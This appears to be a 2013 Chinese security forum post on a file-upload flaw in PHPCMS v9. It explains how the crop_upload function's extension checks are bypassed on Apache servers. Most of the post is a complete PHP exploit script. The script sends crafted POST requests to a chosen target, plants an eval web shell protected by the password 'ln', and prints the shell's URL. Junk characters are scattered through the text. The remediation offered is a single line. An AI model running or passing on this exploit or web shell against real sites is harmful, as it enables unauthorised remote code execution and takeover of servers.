找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2209|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行4 N) i5 T. {, ^; D2 v) v

5 k* L: B' ^/ K+ Y简要描述:7 N% ~  h0 G+ u  k. _- E2 x

6 n7 j1 ]! J$ m, p: Aphpcms v9 getshell (apache)# G7 i+ G' t7 t" ?: m& X4 j* }. W
详细说明:; J* T, }7 P6 K/ B. I
1 d1 Z: ~6 j) s* o5 m
漏洞文件:phpcms\modules\attachment\attachments.php/ y  L9 p6 y  B* \) R

& u, m" B6 I4 S' T6 ~/ _public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } " |2 m, S' T& L- u" w: C
后缀检测:phpcms\modules\attachment\functions\global.func.php4 J+ B) D& w  U) S- Q$ q) i* m
4 Y! h  j/ l" X6 z7 I; \. }5 O

/ B0 D" Y( X; B1 m: }  ~9 u6 `+ @& O1 G$ v$ m3 l
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
: \0 B; n) m3 t2 A
. h; `2 o$ U# T+ ^3 \- r  T关键函数:* t+ ?4 L* R$ G6 b

% J( r- l! C2 j$ {
- ]+ g' B1 f, J& D8 h; @3 }' n
: W3 E( W- T  z- K2 D  ]9 sfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
, g1 F9 t$ w9 ^, H# L4 d* n: N9 V) D1 l7 A+ Q
  Fileext函数是对文件后缀名的提取。& _3 W6 l; ^! f- v. V1 k
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php, s7 O9 S9 z& R9 f4 M
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
0 R& I$ Y( ~% a我们回到public function crop_upload() 函数中" s8 n4 s4 }: N* _* L
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
' a# u& \8 r2 |1 o$ K在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
2 T3 @+ G' I: ]( a+ s& ]2 b4 |& l4 d这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
" E) n6 l+ T2 u经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。4 @6 b2 ~7 `. s  K. }( D% d  q
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
8 D* X3 H) Z, q, a( r/ r) u$ m* }看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。, [4 Q7 N3 B- \4 F1 J- L4 I( j
漏洞证明:; Y! z1 Y1 |9 w: q  W! _$ K
8 K' G3 q, z5 h0 }
exp:$ N0 I* l/ }# ?# b
7 @. w6 c/ M* @- u) R* u
<?php
2 s/ G* I* J" m( F5 Q) Werror_reporting(E_ERROR);
9 p9 ?2 C3 x& @$ _' @set_time_limit(0);
0 b, V5 U9 x" m/ V. ^$pass="ln";
8 P3 k. d( n/ [1 [1 [: Wprint_r('
0 j; V6 s3 s# p! e) f. C+---------------------------------------------------------------------------+/ z- W# E* G# N# C: L0 {* x/ S7 K
PHPCms V9 GETSHELL 0DAY ( c  y$ ]- `/ m8 U) D# f, r8 V
code by L.N.
- H3 u5 u! c- Q: d9 J6 x. E3 j- y/ ~9 A$ l, r
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net. F  B. f" G+ ^8 v
+---------------------------------------------------------------------------+
# g8 M" \1 U& n5 N/ g' X! h');/ w+ |" l- @0 D0 V, A
if ($argc < 2) {
0 X% G( F! w$ i4 nprint_r('1 I, ]# v7 p: ~/ c8 h9 F
+---------------------------------------------------------------------------+" u$ e2 T- N7 |0 |
Usage: php '.$argv[0].' url path
7 V, Q5 B+ T3 H9 |- o: L  h& P" K- W4 c* s+ F2 {
Example:4 ~- W' H* _0 X4 d( q2 J- U
1.php '.$argv[0].' lanu.sinaapp.com6 O+ f! A# S# R5 O% E& ^& w
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
9 j' ^6 z# ]. b' P! \) p0 f+---------------------------------------------------------------------------+" n$ Z9 P! k' {  G  J( ]; g
');
8 U6 j  N; ]' kexit;
1 r3 B- b3 M4 {! ~6 i}
% k; ~2 c8 o) {* b" {
' x( P+ o' s, M6 K+ e' A* ^% ~$url = $argv[1];5 f& W0 g& c/ [; D2 g$ A6 g
$path = $argv[2];
* D5 `" U4 }7 X$ x* T# ^$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
1 l$ d+ C0 E$ B' {( _( u% K$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';) L/ Y$ f5 W0 p. q! A! d
if($ret=Create_dir($url,$path))
' W9 D, X) S. W9 m# O" t{
0 Y0 o8 ^% f! }1 ?//echo $ret;
( C; E) @: |; t* }- M: @$pattern = "|Server:[^,]+?|U";7 H9 A* j: R+ E8 ], G
preg_match_all($pattern, $ret, $matches);8 K* a! J4 F, m" a" a
if($matches[0][0])
: f( W4 u4 H  m. U{
8 f8 s# }* J* R# p( E8 W6 Eif(strpos($matches[0][0],'Apache') == false)
5 _2 k7 K* A3 F* c3 o* c" y4 m  t{5 d' y; u6 n* D
echo "\n亲!此网站不是apache的网站。\n";exit;
1 Y3 m( V: j* X/ E+ `) w7 {}% k6 Q9 x. x' U! Z: ?; C4 w  W
}
$ O# F2 }/ ^+ h- ]3 g1 {8 S$ret = GetShell($url,$phpshell,$path,$file);8 u8 d# ?7 r& c# }2 D8 z6 g4 U5 o
$pattern = "|http:\/\/[^,]+?\.,?|U";" u: l2 I  U" m
preg_match_all($pattern, $ret, $matches);
7 i5 T3 [7 D( b8 b4 n: P  ~if($matches[0][0])3 x4 o2 V) B8 l- i; j
{
4 [9 m) z7 Z% N2 v7 P3 t: E6 k' wecho "\n".'密码为: '.$pass."\n";
, m+ t2 s/ U' m6 b) a' N: t2 xecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;. l( S) {( o, ^, O' G4 w9 [8 f
}' y5 ?2 Z4 D' {& A9 Q3 B  s* K
else$ U8 w- ?( ~* H; C9 f3 p2 w/ \
{
( {( ]# r0 I4 Z( P' ^! t6 [$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
) L1 S/ k: }; T# G" [preg_match_all($pattern, $ret, $matches);
- m0 s& d1 c- h+ T; Qif($matches[0][0])
2 V' N: S9 P3 \# O  {* `3 M- f/ s{
5 r/ }$ b7 k* u% Hecho "\n".'密码为: '.$pass."\n";% ?; C( [4 P% T9 z  a
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;9 U# f$ v# n- V# t9 T; P" y5 I
}5 j1 C% d  v$ c
else
& z+ Z+ d) w3 y{
3 K2 O" {6 @# C2 recho "\r\n没得到!\n";exit;
& M; X: ]" J9 k7 E; V}; w7 y' E; y0 A. u$ m8 E: Q8 ]
}
6 j' |/ s. d5 Z# ?6 @( F( ?}
0 h( C4 q. {5 {4 j" j+ I6 u2 J, m% n+ @  j# s
function GetShell($url,$shell,$path,$js)
8 R6 e" ?# a/ y" B  H$ J{
8 S$ K% ]$ g! a$content =$shell;
9 S1 w* w9 f' p4 M$ @. S/ ~" p$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";: L! H7 q6 w( I, f, t# H
$data .= "Host: ".$url."\r\n";- a! |6 Z+ _* {- r/ w$ L* m" u6 Q
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
+ K) K9 T1 o5 w: p, B) G) n4 i; s$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 b/ V+ _5 m" Z5 @$ t& |) d
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
; V& h, a" s& Y6 h" V1 S+ {$data .= "Connection: close\r\n";/ z3 w1 |# H; J% k8 d
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";9 t( d. u# P8 G$ o. P- U8 ?
$data .= $content."\r\n";' K* g0 e$ v1 i9 E; t
$ock=fsockopen($url,80);
+ X- U" @$ O8 P; Uif (!$ock)% Q& a! R. m1 t3 P  |
{
; p5 n# T* f# r4 n: }echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;. Y( I8 B4 }+ I1 D/ H7 V
}- f* ~6 d. ^+ |( [. M* f- b+ N. @
else% V% C; v& u8 Y  A
{
0 T3 U! X# C* P) H# }1 e. tfwrite($ock,$data);
0 W/ N; Q5 o) z" }. ^& r6 Y- E* t0 P$resp = '';
* w" O; d. R9 t* E8 dwhile (!feof($ock)): Y$ z# f9 d( D9 I% U7 q
{3 V+ i- `; `0 D0 y
$resp.=fread($ock, 1024);# y! ^  \+ u, n; l4 p) p0 N& `! F
}
7 F0 S8 p8 z8 _2 @2 Y& Nreturn $resp;& F3 g& L& S* e$ ^$ `! M5 g$ x
}
- j/ [" A) A: g}
1 X* h% V8 E2 y4 l$ }/ M- g' L. e* y1 j# s4 h% c2 A' K8 c( ~0 H
function Create_dir($url,$path=''): J8 T, Q2 S; W1 V! s* a
{% s3 v! M* k: f% ?/ _
$content ='I love you';  y6 J; o$ ~$ ^, F! [1 _. t
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
/ f/ W2 F& ^5 y4 @  k1 t$data .= "Host: ".$url."\r\n";9 `; |. U9 v$ ^% P9 {
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
* @; O1 ]( x! N( O2 e& J$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 V& T- o9 y7 n+ |" v4 b2 y$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";; f+ e1 a. E3 e, b: d) m# y
$data .= "Connection: close\r\n";
+ ]! l0 L2 ^+ R- L* i- H$data .= "Content-Length: ".strlen($content)."\r\n\r\n";8 {" y  |% `9 a; R2 j
$data .= $content."\r\n";
6 i" L8 X0 z- y1 W  G2 k) ?$ock=fsockopen($url,80);+ Q$ H- D# U) E
if (!$ock)) B. |: i/ L0 z1 }8 m1 k
{: }8 v  ~% G" A- [' q6 X
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;  Y) R( A, R8 C/ P1 i: ^  Z
}( L" b# q) i6 k' w! ^
fwrite($ock,$data);% p( m. }+ r6 D- c3 o
$resp = '';! F; F; g2 x3 ^2 @) K) a) ~
while (!feof($ock))6 q3 c$ g  P! |  _- O/ L* m6 w
{
' I! x$ l# k1 \/ N$resp.=fread($ock, 1024);9 \& S$ z& ^0 _2 D2 K2 f9 [- i* x1 V) b, F
}
% I' y6 T- e  }9 L- N, xreturn $resp;
9 \( E* e) n+ E3 \8 N% o/ s}
# _( c2 A7 M2 o+ y  T?>
1 w8 t/ i: n+ ] 5 T3 h' I: o) Y! ]& @: Z' n$ M+ T
修复方案:
; f" r* v* m' t* o) `; C  ]$ Y8 s! }! b7 k, n( A/ N5 s% i# l
过滤过滤再过滤
& R: B: H# M$ ?% a
: ]* }9 ^. l) y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表